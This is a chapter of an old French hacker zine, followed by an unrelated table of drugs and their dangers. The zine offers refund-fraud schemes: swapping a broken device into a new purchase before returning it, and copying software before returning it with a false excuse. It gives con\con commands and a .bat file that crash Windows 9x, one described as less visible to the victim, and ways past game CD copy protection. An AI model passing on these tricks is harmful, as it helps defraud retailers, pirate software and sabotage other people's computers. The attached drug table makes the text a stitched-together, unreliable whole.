Vous avez besoin de faire rembourser un de vos appareils alors que la garantie n'est plus valable? Alors j'ai la solution. Achetez par correspondance le même produit que celui qui vous fait défaut. Lorsque vous le recevez, intervertissez les appareils. Il ne vous reste plus qu'à retourner l'appareil défectueux (sans mentionner la panne) et faire jouer la loi du 6 janvier 1988. Vous recevrez alors le remboursement du produit. Celà ne vous aura coûté que les frais de ports. Mais attention: certains magasins pensent à noter les numéros de série sur la facture d'achat.

En ce qui concerne vos logiciels gratuits. Allez dans des magasins qui font du "satisfait ou remboursé", sinon renseignez vous sur les conditions de vente. Achetez, par exemple, un Anti-Virus et conservez bien l'emballage et le ticket de caisse. Rentrez chez vous, faites le graver, retournez au magasin avec le produit emballé et votre ticket de caisse. Dites que vous n'avez pas pris le bon produit ou que vos drivers ne sont pas compatibles avec le produit. Faites vous rembourser. Au final: un logiciel gratuit et avec des risques minimums. Renseignez-vous sur les modalités de remboursements des produits auprès d'un vendeur qualifié pour ne pas vous tromper. Lors de l'installation d'un logiciel, pensez à lire la mise en garde (License Agreement), ce genre de paragraphes peuvent être intéressants:
Si vous ne souhaitez pas être tenu par le présent accord, et que vous n'en acceptez pas tous les termes et conditions, sélectionnez "I refuse", ce qui annulera le chargement du logiciel et retournez sous trente jours, le logiciel, son EMBALLAGE AINSI que tous les éléments qui s'y trouvaient avec la preuve d'achat datée à l'endroit ou vous l'aviez acquis afin d'en obtenir le remboursement intégral.
Trente jours pour graver un logiciel, ça laisse du temps. Ce n'est pas du vol, mais presque.

Erreure fatale (source: virus informatique)

"L'erreur fatale", aussi appelée "l'écran bleu de la mort". La plaie de toutes les personnes travaillant sous Windows. Nous avons la solution... pour que l'écran ne soit plus bleu. Vous pouvez maintenant choisir les couleurs du fond de cet écran et la couleur des caractères. L'astuce ne marche que sous Win9x et la procédure est simple:
- Ouvrez votre fichier system.ini (c:\windows)
- Editez le avec un éditeur de texte (Bloc-Notes)
- Cherchez la ligne de caractères suivante: [386Enh]
- Insérez les 2 lignes suivantes:

MessageTextColor=E
MessageBackColor=2

- La première ligne correspond à la couleur des caractères utilisés, et al deuxième à la couleur du fond de la fenêtre. Ici le E=Jaune clair, et le 2=Vert
Voici le code des couleurs. Vous ne pouvez assemblez plusieurs couleurs (plusieurs caractères à la suite):
0 - Noir
1 - Bleu
2 - Vert
3 - Cyan
4 - Rouge
5 - Magenta
6 - Jaune
7 - Blanc
8 - Gris
9 - Bleu clair
A - Vert clair
B - Cyan clair
C - Rouge clair
D - Magenta clair
E - Jaune clair
F - Blanc

Rendre les répertoires en partage invisibles, dans un réseau NetBIOS

Ajoutez le signe $ à la fin du répertoire en partage. Il ne sera ainsi plus visible par les autres utilisateurs du réseau. Il est quand même possible d'y accéder si on utilise la fonction "connecter un lecteur réseau" complétée par la ligne ":\\NOM_DU_PC\NOM_DU_DOSSIER$"

Planter Windows en 2 leçons

Il existe 2 manières de planter Windows de manière efficace et innofensive.
La première se fait dans:
Démarrer/Executer
Tapez
c:\con\con
Boum! Erreur dans l'allocation des fichiers. Rebootage obligatoire.
L'autre méthode se fait depuis une fenêtre MS-DOS, sous Windows:
Tapez
cd con\con
Erreur au niveau système. Cette deuxième méthode est plus sympathique car il n'est pas tout de suite visible que Windows a planter. Cette technique fout le noyau Windows en l'air jusqu'au prochain redémarrage de l'OS. De toutes façons au bout de 3à secondes d'utilisation de Windows après un plantage de ce type et vous vous apercevrez qu'un rebootage est nécessaire.

Note: il est possible de remplacer con par nul ou bien faire le mélange des deux. Le résultat reste le même.
Exemple: c:\nul\nul ou c:\nul\con
Note: pour l'astuce MS-DOS il est possible de faire un .bat comme
@echo off
cd con\con

Protections sur le gravage des CD (source: virus informatique)

Les protections de cartains jeux laissent parfois à désirer. Etudions deux cas dans lesquels les protections sont daubiques et facilement cassables:

Des éditeurs se bornent à sortir des CD dont la seule protection est la durée supérieure à 74 minutes (ex: HereticII ou King Quest 8). cette protecetion est facilement cassable depuis l'apparition des CD de 80 minutes.
D'autres ajoutent à cette première protection une organisation des pistes peu commune: données-audio, audio-données, que peu de logiciels reconnaissent. Equipez vous alors de graveurs comme Plextor PX-R412C, Teac CD-R50S & CD-R55S et Yamaha CDR200/400/401 & CRW 2260/4260/4001/2216/4216/4261/4416, etc.

Pour finir, une protection toute bête consiste à faire croire que la quantité de données stockées sur le CD est de plusieurs gigas (ex: Commando, Tomb RaiderIII, ...). Prenez alors des logiciels comme Nero Burning supérieur à 3.0.7.1 ou CDRWIN 3.6b minimum. Quand il vous dira qu'il n'y a pas assez de place sur le CD vierge, ignorez l'avertissement et continuez! Esperez que le support CD encaisserait bien ça. Pour la deuxième protection cochez aussi la case: ignorez mauvais format de CD.

C'est sur ce chapitre que vous finissez le zine. Pour tout commentaires écrivez moi :
clad_strife@hotmail.com

Auteur: Clad Strife

PRODUITS	EFFETS	PRINCIPAUX DANGERS	LOI: vente et usage
Thé, café, boisson à base de cola (voie orale)	Stimulation intellectuelle et physique légère.	Risques d'irritabilité, d'insomnie, dépendance	Vente et usage autorisés.
Tabac (se fume)	Excitant	Maladies pulmonaires, cardiaques, cancers. Dépendance.	Vente contrôlée.
Médicaments contre l'angoisse, contre l'insomnie (voie orale)	Détente, endormissement.	Dangers si non respect des doses prescrites. Dépendance.	Vente contrôlée.
Alcool (bière, apéritifs, vin) (voie orale)	Détente et/ou excitation, ivresse, euphorie.	Accidents divers, perte de l'attention et des réflexes. Très toxique en usage régulier pour le foie, le système nerveux, cancers. Dépendance.	Vente contrôlée et interdite aux mineurs.
Cannabis (H, herbe, shit) (se fume)	Détente et/ou excitation, hallucinations, ivresse.	Toxique, l'usage régulier provoque: perte de mémoire, perte de l'attention et des réflexes, ivresse, risques psychiatriques. Dépendance psychologique, faible ou forte.	Vente et usage interdits.
Ecstasy (voie orale)	Excitation, augmentation des sensations, délires, violence.	Accidents physiques divers, troubles cardiaques, risques psychologiques et psychiatriques graves. Dépendance psychique.	Vente et usage interdits.
L.S.D. (voie orale)	Hallucinations et délires.	Accidents divers, risques psychologiques et psychiatriques.	Vente et usage interdits.
Médicaments divers détournés de leur usage et/ou vendus clandestinement (voie orale)	Diverses sensations.	Accidents variables selon la nature des produits et les mélanges.	Vente contrôlée en pharmacie. Toute autre vente interdite.
Colles, solvants (voie nasale)	Détente, "defonce", délires.	Accidents cardiaques et pulmonaires, troubles psychiatriques graves. Dépendance.	Vente interdite aux mineurs.
Héroïne (voie nasale et par injection)	"Flash", détente, "défonce".	Overdose, accidents dus à la seringue: sida, hépatites, etc... Dépendance.	Vente et usage interdits.
Cocaïne (voie nasale)	Excitation puis dépression.	Déterioration des cloisons nasales, accidents cardiaques, overdose, accidents psychiatriques. Dépendance.	Vente et usage interdits.
Crack (voie nasale)	Excitation puis dépression.	Même dangers que pour la cocaïne avec une dépendance plus forte et plus rapide, graves troubles du comportement. Très forte dépendance.	Vente et usage interdits.